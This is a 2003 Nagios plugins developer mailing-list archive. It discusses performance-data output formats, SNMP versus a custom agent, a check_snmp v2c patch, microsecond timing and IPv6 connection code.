From karl at debisschop.net Sat Aug 2 22:19:03 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Sat Aug 2 22:19:03 2003 Subject: [Nagiosplug-devel] check-ide_smart plugin ? In-Reply-To: References: Message-ID: <1059887828.2584.12.camel@miles.debisschop.net> On Sat, 2002-12-14 at 10:40, Brian Ipsen wrote: > Hi! > > Browsing through the CVS repository I noticed the check_ide-smart plugin. > Any perticular reason for it not to be included in the "standard" > distribution of plugins ?? I have tried to compile it, and maybe I'm doing > something basically wrong, because I cannot get it to perform a "quiet" > check.. Might be something with the getopt() call. > > I compiled it using: > > gcc -O3 -march=i686 -mcpu=i686 -funroll-loops -o check_ide-smart > check_ide-smart.o -lutil Did you ever get response on this? I've never used it, so was not in a position to respond at the time. But recenyly I've been going through code to markup for multilingual operation and I also found that it did not build properly. I have the -n (nagios format output) option working, but I'm less sure about the other modes. I should be committing to CVS HEAD later tonight. May be of no interest to you any more, but who knows. -- Karl From roy at karlsbakk.net Mon Aug 4 05:29:05 2003 From: roy at karlsbakk.net (Roy Sigurd Karlsbakk) Date: Mon Aug 4 05:29:05 2003 Subject: [Nagiosplug-devel] Writing a new universal cross-platform plugin? In-Reply-To: <200307291116.47784.roy@karlsbakk.net> References: <200307291116.47784.roy@karlsbakk.net> Message-ID: <200308041426.44986.roy@karlsbakk.net> hi I haven't got too much replies on this message. Does this mean everyone's pleased with NRPE and nsclient? Is there a point of trying to make somethings better? On Tuesday 29 July 2003 11:16, Roy Sigurd Karlsbakk wrote: > hi all > > This friend of mine came up with a rather neat idea: > > Write a new universal cross-platform plugin in perl (run as service in > windows). Configure the service to expose the services to be monitored > (disk space on device c: or /dev/sda, cpu etc), and have an auto-dicover > script dicover all local hosts/services, creating nagios configs for it. > > Perhaps this should be done directly in a database? will nagios 2 support > database-based configs? > > roy > > > > ------------------------------------------------------- > This SF.Net email sponsored by: Free pre-built ASP.NET sites including > Data Reports, E-commerce, Portals, and Forums are available now. > Download today and enter to win an XBOX or Visual Studio .NET. > http://aspnet.click-url.com/go/psa00100003ave/direct;at.aspnet_072303_01/01 > _______________________________________________ > Nagiosplug-devel mailing list > Nagiosplug-devel at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel > > ::: Please include plugins version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- Roy Sigurd Karlsbakk, Datavaktmester ProntoTV AS - http://www.pronto.tv/ Tel: +47 2254 5070 (work) +47 9801 3356 (mobile) Computers are like air conditioners. They stop working when you open Windows. From bqueen at nas.nasa.gov Tue Aug 5 09:50:13 2003 From: bqueen at nas.nasa.gov (Brian S Queen) Date: Tue Aug 5 09:50:13 2003 Subject: [Nagiosplug-devel] Writing a new universal cross-platform plugin? Message-ID: I recently sent a post on a similar topic. I asked about a system for managing plugins - cross-platform creation and distribution, maintainance, and something like inventory. I think that pikt might be an ideal plug in system for nagios. The only biggest bother is uniting the config files of nagios witth the config files of pikt. Check out pikt.org. I will send a mesg to the list about this specific topic. From bqueen at nas.nasa.gov Tue Aug 5 10:01:05 2003 From: bqueen at nas.nasa.gov (Brian S Queen) Date: Tue Aug 5 10:01:05 2003 Subject: [Nagiosplug-devel] PIKT as plug in tool kit Message-ID: The Nagios design is essentially a black box when it comes to plug-ins. I think the stength of PIKT is exactly in this black box of Nagios. I think it would be very useful to consider PIKT to be the plug-in tool kit, and find some way to unit the config files of the two projects. PIKT is a centralized and cross platform method for creating, and distributing little alarm style programs. But I don't know if it has any Windows support. Brian McQueen NASA/Ames NAS Division From karl at debisschop.net Tue Aug 5 16:28:04 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Tue Aug 5 16:28:04 2003 Subject: [Nagiosplug-devel] Writing a new universal cross-platform plugin? In-Reply-To: <200307300003.58358.roy@karlsbakk.net> References: <200307291116.47784.roy@karlsbakk.net> <3F26DDC7.6000606@verisign.com> <200307300003.58358.roy@karlsbakk.net> Message-ID: <1060125950.13233.12.camel@miles.debisschop.net> On Tue, 2003-07-29 at 18:03, Roy Sigurd Karlsbakk wrote: > I'm quite sure that this would benefit users. The reason of making a general > plugin instead of mrtg, nsclient and all sorts of stuff is to simplify it > all. SNMP is generally more tricky to set up than an agent on most systems I found net-snmp to be very easy to implement. > as you'll need to know SNMP, obviously. Most people don't. When I first started plying with this, I did not know snmp either. Without trying to sound rude, I humbly suggest it might be worth people's time to learn. I'll suggest a few reasons: 1) SNMP is available for switches, printers, temperature monitors, and a host of other devices that you are not likely to be able to run your universal plugin on. 2) SNMP can be very lightweight using the v1 protocol in secure environments, or well secured using v3 in less secure situations 3) SNMP already monitors more than your plugin is likeky to address - from number of open TCP connections to running prosesses to load to swap sapce to version numbers of installed software, and more. 4) It should be easier to get access NAT blocks, VPNs, firewalls, etc with SNMP where corporate policy may already exist and there are external security audits that can be used to justify security policy. 5) SNMP already exists and works, as does the plugin to query it. I don't want to say you should not have at it, but do not discount SNMP. It is well worth the learning curve, it is quite reliable once implemented, and there is virtue to the ide that the best programmers are the ones that write the fewest lines of code. my $0.02. -- Karl > The auto-discovery > part is almost finished already using multicast 'pings' (talking to the > agents). So - give us a week or ten, I beleive this project will gain > Nagios's quality a lot :) > > roy > > On Tuesday 29 July 2003 22:49, you wrote: > > I'm not sure what kind of benefit you would gain from writing the client > > side portion of this since SNMP agents exist for nearly all platforms > > you could conceive. The non-trivial part is the auto-discovery. HP > > OpenView does this via pings and SNMP queries, but you run into the > > problem where machines with multiple interfaces end up as multiple > > instances within your configuration. And that can be very messy. > > > > I think many people would be interested if some sort of simple > > auto-discovery tool was available for Nagios in order to pre-populate > > configurations. > > > > --Andy > > > > Roy Sigurd Karlsbakk wrote: > > > hi all > > > > > > This friend of mine came up with a rather neat idea: > > > > > > Write a new universal cross-platform plugin in perl (run as service in > > > windows). Configure the service to expose the services to be monitored > > > (disk space on device c: or /dev/sda, cpu etc), and have an auto-dicover > > > script dicover all local hosts/services, creating nagios configs for it. > > > > > > Perhaps this should be done directly in a database? will nagios 2 support > > > database-based configs? > > > > > > roy > > > > > > > > > > > > ------------------------------------------------------- > > > This SF.Net email sponsored by: Free pre-built ASP.NET sites including > > > Data Reports, E-commerce, Portals, and Forums are available now. > > > Download today and enter to win an XBOX or Visual Studio .NET. > > > http://aspnet.click-url.com/go/psa00100003ave/direct;at.aspnet_072303_01/ > > >01 _______________________________________________ > > > Nagiosplug-devel mailing list > > > Nagiosplug-devel at lists.sourceforge.net > > > https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel > > > > > > ::: Please include plugins version (-v) and OS when reporting any issue. > > > ::: Messages without supporting info will risk being sent to /dev/null > > > > ------------------------------------------------------- > This SF.Net email sponsored by: Free pre-built ASP.NET sites including > Data Reports, E-commerce, Portals, and Forums are available now. > Download today and enter to win an XBOX or Visual Studio .NET. > http://aspnet.click-url.com/go/psa00100003ave/direct;at.aspnet_072303_01/01 > _______________________________________________ > Nagiosplug-devel mailing list > Nagiosplug-devel at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel > ::: Please include plugins version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Tue Aug 5 16:50:04 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Tue Aug 5 16:50:04 2003 Subject: [Nagiosplug-devel] RFC: Performance data guidelines In-Reply-To: References: Message-ID: <1060127292.13233.27.camel@miles.debisschop.net> Sorry to top-post. Can we tie this thread up? I am near finished with markup for translation and would like to start doing perf data before a mid-august alpha of 1.4. I'm findinf myself thinking in terms of label1=value1[UOM];[critical1];[warning1];[max1];[min1] \ label2=value2[UOM];[critical2];[warning2];[max2];[min2] I'm thinking no spaces except between indiviual attributes - we' need to transfor any to '-'. And ';' and '=' would be reserved as well. I agree with Ton that max and min will often be unneeded, but I don't see that the possibility hurts. I think the standard units are OK, exceot 'B' for bytes and 'b; for bits would be more standard. But I'm really unhappy with any of the proposals. I'd just like to settle on something. -- Karl On Wed, 2003-07-16 at 13:52, kjell.sundtjonn at elkem.no wrote: > Ton > > A few comments > > >1) I don't like the min and max values. I think that information is held > >with the UOM (% is 0-100, seconds is 0-infinity). If there is no UOM, then > >assume any value. > My reason to include the max min values is to bring along as much > information in the performance data string as possible. Max an min is > relevant information to get correct scaling on graphs drawn by tools as > RRD. RRD accept this as an optional parameter in the data source definition > and I think that it should be included when available (that is when the > plugin logic can deduct this in a sensible way). > If the UOM is % you can assume min =0, max=100, but if you monitor free > your diskspace in GB, information about the total diskspace available is > valuable information the plugin can provide. > > >2) what about check_disk -w 5% -w 10000? If there is no min/max, then it > >could be: 'label=value[UOM][:critical:warning[:critical:warning]]' > > What about changing the general layout to > 'label=value1[UOM];value2[UOM];...[:[critical1;critical2;...] > [:[warning1;warning2;...][:[max1;max2;...][:min1;max2;...]]]]' > > This can handle the situation you describe, all information is carried over > to the tool you choose to use to parse the performance data in a structured > format easily parseable. > We should allow any character (except '=') in the label. Changing this to > correct syntax for RRD datasource (or other tool of your choice) name > should be left to the program you select to parse the data. > > >3) what about "critical at 10%, but no warning levels"? Can just use a > null, > >I guess. > >4) check_procs allows you to say -c 5:5 to mean alert if not exactly 5 > >processes. Is this doable at all? If so, would we need to change the > >separators? > Let us allow for embedding parameters in quotes > No_processes=5:'5:5'::10:0 > > I must say that I am sceptical to the proposal by Peter Hoogendijk to use > scanf and print format specifiers as parameters to the plugins. Let us try > to develop a common recommendation on performance data that enables all > relevant information to be forwarded from the plugin to the tool you select > to parse the data. It is important that this is a common definition that > simplifies the program needed for parsing the data. > > Kjell Sundtj??nn > > > > |---------+--------------------------------------------> > | | "Voon, Ton" | > | | Sent by: | > | | nagiosplug-devel-admin at lists.sour| > | | ceforge.net | > | | | > | | | > | | 15.07.2003 15:32 | > | | | > |---------+--------------------------------------------> > >----------------------------------------------------------------------------------------------| > | | > | To: "'kjell.sundtjonn at elkem.no'" , NagiosPlug Devel | > | | > | cc: | > | Subject: RE: [Nagiosplug-devel] RFC: Performance data guidelines | > >----------------------------------------------------------------------------------------------| > > > > > Kjell, > > Firstly, just want to say thank you for your contribution. This is a > fascinating thread. I much rather have this discussion now than it raised > as > design problems afterwards! > > Yeah, I thought afterwards that check_disk has to be different as a > summation does not really tell you anything useful. My preference is that > the the output reflects the filesystem, not the device, but we can use a > switch for that. > > I think the : sepearated fields instead of crit,warn,critp,warnp is better > too - the new check_disk allows different thresholds per disk, so this fits > in well. However, some questions pop up: > > 1) I don't like the min and max values. I think that information is held > with the UOM (% is 0-100, seconds is 0-infinity). If there is no UOM, then > assume any value. > 2) what about check_disk -w 5% -w 10000? If there is no min/max, then it > could be: 'label=value[UOM][:critical:warning[:critical:warning]]' > 3) what about "critical at 10%, but no warning levels"? Can just use a > null, > I guess. > 4) check_procs allows you to say -c 5:5 to mean alert if not exactly 5 > processes. Is this doable at all? If so, would we need to change the > separators? > > Ton > > > -----Original Message----- > > From: kjell.sundtjonn at elkem.no [mailto:kjell.sundtjonn at elkem.no] > > Sent: Saturday, July 12, 2003 5:41 PM > > To: NagiosPlug Devel > > Subject: RE: [Nagiosplug-devel] RFC: Performance data guidelines > > > > > > > > I really like the idea of including the critical and warning > > level together > > with max and min values in the performance data, but let me propose an > > alternative layout based on colon (:) separated fields : > > > > - output of format 'label=value[UOM]:[critical]:[warning]:[max]:[min]' > > comma separated > > - labels 1-19 characters long in class [a-zA-Z0-9_] (spaces > > allowed, but > > not recommended) > > - values, critical, warning, max, min in class [-0-9.]. No spaces. > > - critical and warning is the thresholds for this measurement > > - max and min is the maximum/minimum value for the measurement > > > > It think this is easier to parse than the proposal from Ton based on > > 'magical' words. > > > > Example > > > > Disk space > > DISK OK [22118452 kB (84%) free on /dev/hda3] [81574 kB (85%) free on > > /dev/hda2] [252600 kB (100%) free on > > /dev/shm]|_dev_hda3=84%:10:25:100:0, > > _dev_hda2=85%:10:25:100:0,_dev_shm=100%:10:25:100:0 > > > > For disk space and other plugins where the UOM is defined > > when the plugin > > is called, use the active OUM as the value for the > > performance data. Notice > > how the / is replaced with _ to ensure a valid RRD datasource > > name. It is > > necessary to show the performance data for each disk in a > > disk set, not > > only for the total as Ton proposes. > > > > PING > > > > PING OK - Packet loss = 0%, RTA = > > 1.00ms|packet_loss=0%:20:10:100:0,RTA=1ms:20:30::0 > > > > The empty max value for RTA is understood as undefined. > > > > > > > > Kjell Sundtj??nn > > > > > > > > |---------+--------------------------------------------> > > | | "Voon, Ton" | > > | | Sent by: | > > | | nagiosplug-devel-admin at lists.sour| > > | | ceforge.net | > > | | | > > | | | > > | | 11.07.2003 16:10 | > > | | | > > |---------+--------------------------------------------> > > > > >------------------------------------------------------------- > > ---------------------------------| > > | > > | > > | To: NagiosPlug Devel > > | > > | cc: > > | > > | Subject: RE: [Nagiosplug-devel] RFC: Performance > > data guidelines | > > > > >------------------------------------------------------------- > > ---------------------------------| > > > > > > > > > > I'm starting to side with Kjell's and Karl's idea of labels > > being separate > > from the units. I think that was the flaw in my original > > proposal - if we > > can standarise on the units, then RRD generation should be > > fairly easy and > > then you can keep labels descriptive and whatever you think > > is suitable for > > a particular plugin. > > > > So my amended proposal is: > > > > - output of format 'label=value[UOM]' comma separated > > - labels 1-19 characters long in class [a-zA-Z0-9_] (should spaces be > > allowed?) > > - special labels of warn, warnp, crit and critp (or just warn > > and crit with > > different units?). These pass the threshold levels specified > > on the command > > line. My idea on this is that you can then use RRD to draw > > yellow/red lines > > to show where the warning levels are. > > - values in class [-0-9.]. No spaces. Karl has a worry about returned > > values > > from SNMP OIDs, but I think values should always be a number, > > so it can be > > parsed to remove extraneous characters > > - units one of: > > > > no unit specified - assume a number (int or float) of things (users, > > processes, load averages) > > s - seconds (also, us, ms) > > % - percentage > > b - bytes (also kb, Mb, Tb) > > c - a continuous counter (such as bytes transmitted on an > > interface) (Does > > this interfere with a standard unit?) > > > > So some examples: > > > > check_ping: > > PING OK - Packet loss = 0%, RTA = 1.00 > > ms|packet_loss=0%,rta=1ms,warnp=10%,critp=20% > > > > check_disk: > > DISK OK [1150211 kB (57%) free on > > /dev/dsk/c0t0d0s0]|free_percent=57%,free=1150Mb,warn=100Mb,warnp=10% > > I still think that you do not need the total, used and > > used_percent because > > these are calculatable from free and free_percent. I would > > also use free > > rather than used because the lowest limit is 0 and the output > > shows free. I > > think if you specify a set of disks, then data is returned > > for the total of > > the disks. > > > > check_swap: > > CRITICAL - Swap used: 18% (778368 out of > > 4194272)|free_percent=82%,free=778Mb,warnp=5% > > > > check_load: > > OK - load average: 0.03, 0.04, 0.05|load1=0.03,warn=1,crit=2 > > I think we should only return performance data for 1 set of timings, > > otherwise it gets very complicated (on a side issue, it is > > possible to have > > a plugin return % values instead of load levels?) > > > > check_procs: > > OK - 5 processes running with command name > > /usr/local/apache/bin/httpd|processes=5,warn=10 > > Hmmm, this goes against my check_disk example of using 0 as a > > lower bound > > as > > check_procs can only be reported "upwards" > > > > check_users: > > USERS OK - 2 users currently logged in|users=2,warn=10,crit=20 > > > > Are we getting closer? > > > > Ton > > > > > > This private and confidential e-mail has been sent to you by Egg. > > The Egg group of companies includes Egg Banking plc > > (registered no. 2999842), Egg Financial Products Ltd (registered > > no. 3319027) and Egg Investments Ltd (registered no. 3403963) which > > carries out investment business on behalf of Egg and is regulated > > by the Financial Services Authority. > > Registered in England and Wales. Registered offices: 1 > > Waterhouse Square, > > 138-142 Holborn, London EC1N 2NA. > > If you are not the intended recipient of this e-mail and have > > received it in error, please notify the sender by replying with > > 'received in error' as the subject and then delete it from your > > mailbox. > > > > > > > > ------------------------------------------------------- > > This SF.Net email sponsored by: Parasoft > > Error proof Web apps, automate testing & more. > > Download & eval WebKing and get a free book. > > www.parasoft.com/bulletproofapps1 > > _______________________________________________ > > Nagiosplug-devel mailing list > > Nagiosplug-devel at lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel > > ::: Please include plugins version (-v) and OS when reporting > > any issue. > > ::: Messages without supporting info will risk being sent to /dev/null > > > > > > > > > > > > > > > > ------------------------------------------------------- > > This SF.Net email sponsored by: Parasoft > > Error proof Web apps, automate testing & more. > > Download & eval WebKing and get a free book. > > www.parasoft.com/bulletproofapps1 > > _______________________________________________ > > Nagiosplug-devel mailing list > > Nagiosplug-devel at lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel > > ::: Please include plugins version (-v) and OS when reporting > > any issue. > > ::: Messages without supporting info will risk being sent to /dev/null > > > > > ------------------------------------------------------- > This SF.Net email sponsored by: Parasoft > Error proof Web apps, automate testing & more. > Download & eval WebKing and get a free book. > www.parasoft.com/bulletproofapps1 > _______________________________________________ > Nagiosplug-devel mailing list > Nagiosplug-devel at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel > ::: Please include plugins version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > > > > > > ------------------------------------------------------- > This SF.net email is sponsored by: VM Ware > With VMware you can run multiple operating systems on a single machine. > WITHOUT REBOOTING! Mix Linux / Windows / Novell virtual machines at the > same time. Free trial click here: http://www.vmware.com/wl/offer/345/0 > _______________________________________________ > Nagiosplug-devel mailing list > Nagiosplug-devel at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel > ::: Please include plugins version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null From rylanyang at hotmail.com Tue Aug 5 17:16:19 2003 From: rylanyang at hotmail.com (Yang Rylan) Date: Tue Aug 5 17:16:19 2003 Subject: [Nagiosplug-devel] Re: Message-ID: confirm 284048 _________________________________________________________________ ?????????????? MSN Messenger: http://messenger.msn.com/cn From Ton.Voon at egg.com Wed Aug 6 05:43:03 2003 From: Ton.Voon at egg.com (Voon, Ton) Date: Wed Aug 6 05:43:03 2003 Subject: [Nagiosplug-devel] RFC: Performance data guidelines Message-ID: This is it - version 1 (alpha) of Nagios plugins performance data: 'label'=value[UOM];[crit];[warn][;[max];[min]] - space separated - the single quotes for the label are optional. Required if spaces, = or ' are in the label - to specify a quote character, two single quotes - max and min are optional. Holds max space available - label can contain any characters - label length is arbitrary, but ideally the first 19 chars are unique (RRD limitation). Be aware of a limitation in Nagios' plugin returned data - value, crit, warn, max and min in class [-0-9.]. Must be all the same UOM - UOM is one of: no unit specified - assume a number (int or float) of things (users, processes, load averages) s - seconds (also us, ms) % - percentage B - bytes (also kB, MB, TB) c - a continuous counter (such as bytes transmitted on an interface) The aim is that perf data is stored in "Nagios plugin" format. A separate program does the parsing into whatever you want to use to draw the data (eg, for RRD, label character and length conversions to conform to limitations) I'll update the dev guidelines in the next few days. My feeling about the "direct" and "indirect" plugins is that the indirect plugins should default to the above performance data format, but is overrideable with a -P printf specifier. This private and confidential e-mail has been sent to you by Egg. The Egg group of companies includes Egg Banking plc (registered no. 2999842), Egg Financial Products Ltd (registered no. 3319027) and Egg Investments Ltd (registered no. 3403963) which carries out investment business on behalf of Egg and is regulated by the Financial Services Authority. Registered in England and Wales. Registered offices: 1 Waterhouse Square, 138-142 Holborn, London EC1N 2NA. If you are not the intended recipient of this e-mail and have received it in error, please notify the sender by replying with 'received in error' as the subject and then delete it from your mailbox. From noreply at sourceforge.net Thu Aug 7 08:48:10 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Thu Aug 7 08:48:10 2003 Subject: [Nagiosplug-devel] [ nagiosplug-New Plugins-774200 ] check_mssql.sh Message-ID: New Plugins item #774200, was opened at 2003-07-19 10:05 Message generated for change (Comment added) made by calevans You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=541465&aid=774200&group_id=29880 Category: Application monitor Group: None Status: Open Resolution: None Priority: 5 Submitted By: Cal Evans (calevans) Assigned to: Nobody/Anonymous (nobody) Summary: check_mssql.sh Initial Comment: Yet another plugin to check mssql. This one only requires freetds, not sqsh. ---------------------------------------------------------------------- >Comment By: Cal Evans (calevans) Date: 2003-08-07 11:47 Message: Logged In: YES user_id=25137 Version 1.4 : 08/07/2003 Corrected a type in the exit code variable name. This should solve the fact that the service does not change state when a login fails. (Thanks, Andrew.Sanderson at ahsys.org) ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=541465&aid=774200&group_id=29880 From ahagge at wbfa.com Thu Aug 7 10:40:09 2003 From: ahagge at wbfa.com (Alan Hagge) Date: Thu Aug 7 10:40:09 2003 Subject: [Nagiosplug-devel] Patch for allowing snmp v2c in check_snmp Message-ID: <3F328CE3.2010402@wbfa.com> Hello, Attached is a small patch to check-snmp.c which allows it to accept "2c" as a valid SNMP protocol type (as do the net-snmp tools). We have a need to monitor high-speed gigabit trunk traffic at our facility, and the only way to do this is with the ifHCxxx variables specified in the IF_MIB MIB, and which are only accessible using SNMP v2c. I would appreciate if you would consider this patch for inclusion in the next version of the plugins. BTW, this patch was against the 1.3.1 version. MY apologies if there's a better place to submit this. Pointers welcome! Thanks, Alan Hagge Lead Systems Administrator Warner Brothers Animation -------------- next part -------------- A non-text attachment was scrubbed... Name: snmp-v2c-patch Type: application/x-java-vm Size: 824 bytes Desc: not available URL: From karl at debisschop.net Thu Aug 7 19:06:02 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Thu Aug 7 19:06:02 2003 Subject: [Nagiosplug-devel] perforrmance data for check_http/check_smtp/check_tcp Message-ID: <1060308229.17622.9.camel@miles.debisschop.net> In the 1.3.0 release, as a straw man for people to comment on, I put in code for perforance data for a few plugins. Where the data was time, I put the value in as seconds like 'time=0.045' As we worked out ideas for more complete implementation of perf data in 1.4.0, in became clear that RRDtool/MRTG type solutions were a notable part of what people want to do with perf data. >From my scan of docs for these tools, there would be less work in the perf data collecter to report integer us rather than float seconds. So I'm proposing to change that in the currently implemented plugins so the data will be 'time=45123us' Does that sound like the right approach to people, or should I preserve the old format even if it mean a little extara porcessing work. -- Karl From sghosh at sghosh.org Thu Aug 7 20:09:27 2003 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Thu Aug 7 20:09:27 2003 Subject: [Nagiosplug-devel] Patch for allowing snmp v2c in check_snmp In-Reply-To: <3F328CE3.2010402@wbfa.com> Message-ID: Thanks - Its best to log them under Sourceforge patches for the project. -sg On Thu, 7 Aug 2003, Alan Hagge wrote: > Hello, > > Attached is a small patch to check-snmp.c which allows it to accept "2c" > as a valid SNMP protocol type (as do the net-snmp tools). We have a > need to monitor high-speed gigabit trunk traffic at our facility, and > the only way to do this is with the ifHCxxx variables specified in the > IF_MIB MIB, and which are only accessible using SNMP v2c. > > I would appreciate if you would consider this patch for inclusion in the > next version of the plugins. BTW, this patch was against the 1.3.1 > version. MY apologies if there's a better place to submit this. > Pointers welcome! > > Thanks, > > Alan Hagge > Lead Systems Administrator > Warner Brothers Animation > -- From sghosh at sghosh.org Thu Aug 7 20:19:23 2003 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Thu Aug 7 20:19:23 2003 Subject: [Nagiosplug-devel] perforrmance data for check_http/check_smtp/check_tcp In-Reply-To: <1060308229.17622.9.camel@miles.debisschop.net> Message-ID: integers would be nice - is micro seconds a realistic granularity or is one-hundredths better? either way - integers and minimal backward compatability. -sg On Thu, 7 Aug 2003, Karl DeBisschop wrote: > In the 1.3.0 release, as a straw man for people to comment on, I put in > code for perforance data for a few plugins. > > Where the data was time, I put the value in as seconds like 'time=0.045' > > As we worked out ideas for more complete implementation of perf data in > 1.4.0, in became clear that RRDtool/MRTG type solutions were a notable > part of what people want to do with perf data. > > >From my scan of docs for these tools, there would be less work in the > perf data collecter to report integer us rather than float seconds. > > So I'm proposing to change that in the currently implemented plugins so > the data will be 'time=45123us' > > Does that sound like the right approach to people, or should I preserve > the old format even if it mean a little extara porcessing work. > > -- > Karl > > > From karl at debisschop.net Thu Aug 7 20:33:02 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Thu Aug 7 20:33:02 2003 Subject: [Nagiosplug-devel] perforrmance data for check_http/check_smtp/check_tcp In-Reply-To: References: Message-ID: <1060313441.17622.13.camel@miles.debisschop.net> On Thu, 2003-08-07 at 23:18, Subhendu Ghosh wrote: > integers would be nice - is micro seconds a realistic granularity or is > one-hundredths better? us is what gettimeofday returns - its easiest to implement in the plugins. The cuurent plan for perf data has time defaulting to units of seconds (s) - otherwise the unit lable is no longer optional. So the both 1.3 and 1.4 will comply with those (developing) guidelines. -- Karl > either way - integers and minimal backward compatability. > > -sg > > On Thu, 7 Aug 2003, Karl DeBisschop wrote: > > > In the 1.3.0 release, as a straw man for people to comment on, I put in > > code for perforance data for a few plugins. > > > > Where the data was time, I put the value in as seconds like 'time=0.045' > > > > As we worked out ideas for more complete implementation of perf data in > > 1.4.0, in became clear that RRDtool/MRTG type solutions were a notable > > part of what people want to do with perf data. > > > > >From my scan of docs for these tools, there would be less work in the > > perf data collecter to report integer us rather than float seconds. > > > > So I'm proposing to change that in the currently implemented plugins so > > the data will be 'time=45123us' > > > > Does that sound like the right approach to people, or should I preserve > > the old format even if it mean a little extara porcessing work. > > > > -- > > Karl > > > > > > From sghosh at sghosh.org Fri Aug 8 09:30:09 2003 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Fri Aug 8 09:30:09 2003 Subject: [Nagiosplug-devel] perforrmance data for check_http/check_smtp/check_tcp In-Reply-To: <1060313441.17622.13.camel@miles.debisschop.net> Message-ID: Ok - so we stay with gettimeofday and microseconds as integers with labels. I would probably add a note to the (developing) guidelines that while we have numbers in microseconds, the precision is more likely to be less - probably dependent on OS. -sg On Thu, 7 Aug 2003, Karl DeBisschop wrote: > On Thu, 2003-08-07 at 23:18, Subhendu Ghosh wrote: > > integers would be nice - is micro seconds a realistic granularity or is > > one-hundredths better? > > us is what gettimeofday returns - its easiest to implement in the > plugins. > > The cuurent plan for perf data has time defaulting to units of seconds > (s) - otherwise the unit lable is no longer optional. So the both 1.3 > and 1.4 will comply with those (developing) guidelines. > > -- > Karl > > > either way - integers and minimal backward compatability. > > > > -sg > > > > On Thu, 7 Aug 2003, Karl DeBisschop wrote: > > > > > In the 1.3.0 release, as a straw man for people to comment on, I put in > > > code for perforance data for a few plugins. > > > > > > Where the data was time, I put the value in as seconds like 'time=0.045' > > > > > > As we worked out ideas for more complete implementation of perf data in > > > 1.4.0, in became clear that RRDtool/MRTG type solutions were a notable > > > part of what people want to do with perf data. > > > > > > >From my scan of docs for these tools, there would be less work in the > > > perf data collecter to report integer us rather than float seconds. > > > > > > So I'm proposing to change that in the currently implemented plugins so > > > the data will be 'time=45123us' > > > > > > Does that sound like the right approach to people, or should I preserve > > > the old format even if it mean a little extara porcessing work. > > > > > > -- > > > Karl > > > > > > > > > > > -- From karl at debisschop.net Sat Aug 9 06:15:02 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Sat Aug 9 06:15:02 2003 Subject: [Nagiosplug-devel] Re: Nagios plugins and IPv6 support In-Reply-To: <20030809061811.GC24478@UnderGrid.net> References: <20030809061811.GC24478@UnderGrid.net> Message-ID: <1060434737.1061.1.camel@miles.debisschop.net> On Sat, 2003-08-09 at 02:18, Jeremy T. Bouse wrote: > Karl, > > While writing my last email to you I was thinking... Should we not > make some PR still news blurb on the plugins site or even possibly on > Nagios about expecting full IPv4 and IPv6 support in the upcoming > release? I really don't believe there is any open-source or commerical > network monitoring service that has IPv6 support at all... Sorry if it > sounds a lil marketing-ish as I just came back from spending a few days > on the Linux World Expo 2003 show floor... I'd actually like to see if I > couldn't possibly see Nagios/plugins and Firewall Builder two packages I > maintain for Debian be able to give some display/demo at it next year to > give it some more exposure... While I support doing it, I'd need to take a back seat in that effort - I'm burning up all my time in this code review, and I still need to put hi-res timing into a bunch of plugins, plus add perf data. -- Karl From karl at debisschop.net Sat Aug 9 06:17:02 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Sat Aug 9 06:17:02 2003 Subject: [Nagiosplug-devel] Re: IPv6 and check_real In-Reply-To: <20030809061457.GB24478@UnderGrid.net> References: <1060298417.17622.1.camel@miles.debisschop.net> <20030809043356.GC4518@UnderGrid.net> <1060405499.14361.18.camel@miles.debisschop.net> <20030809061457.GB24478@UnderGrid.net> Message-ID: <1060434886.1061.5.camel@miles.debisschop.net> On Sat, 2003-08-09 at 02:14, Jeremy T. Bouse wrote: > On Sat, Aug 09, 2003 at 01:04:59AM -0400, Karl DeBisschop wrote: > > On Sat, 2003-08-09 at 00:33, Jeremy T. Bouse wrote: > > > Karl, > > > > > > If I'm not mistaken the check_real plugin should be using the > > > AF-independent code as it calls my_tcp_connect() to make it's connection > > > which has the AF-indep code behind it... I just don't have any Real > > > servers running on IPv6 although I hear from talking with Real at Linux > > > World Expo this week they've open sourced the Helix server under an OSI > > > approved license... > > > > I don't have any servers to test either - but if the connection code is > > in place, then I'll go ahead and add the options for it and we can put > > out a call for a test. > > > Yeah, if you look my_tcp_connect() and my_udp_connect() are just an > easy way to call my_connect() without having to specify the protocol as > TCP or UDP respectively... The my_connect() is the actual function that > makes the socket connection and it is what has been written to be > AF-indep from the ground up... The problem is when we find plugins that > don't use these calls... If the function calls trace back to > my_connect() then they are fine it's the ones that have their socket > calls within themselves... All network based plugins should include > netutils.h and utils.h while non-network based should only need > utils.h... That is correct up to a point - the is_host function got moved into netutils - there are a number of plugins that wrap system calls that do network connections. All these now need netutils.h, even though the do not link to netutils.o. Personanly, I find this to be a confusing state of affairs and I'd prefer that is_host be in utils if it could. > I don't believe I had gotten around to including the -4/--use-ipv4 and > -6/--use-ipv6 to all the network based plugins as I had only done a > couple for PoC testing and then got sidetracked on some other issues > elsewhere and hadn't gotten back to finishing it... > > Regards, > Jeremy > > > -- > > Karl > > > > From kdebisschop at alert.infoplease.com Sat Aug 9 06:24:02 2003 From: kdebisschop at alert.infoplease.com 